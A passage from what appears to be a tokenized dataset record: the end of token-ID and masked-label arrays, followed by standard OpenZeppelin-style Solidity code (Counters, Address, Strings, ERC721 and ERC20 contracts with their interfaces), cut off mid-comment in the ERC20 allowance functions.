0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6146,
7623,
4154,
12,
3890,
1578,
389,
12610,
4366,
8898,
350,
13,
203,
3639,
1071,
1476,
203,
3639,
5024,
3849,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
327,
1758,
12,
972,
11545,
63,
67,
12610,
4366,
8898,
350,
8009,
8694,
7848,
13,
480,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
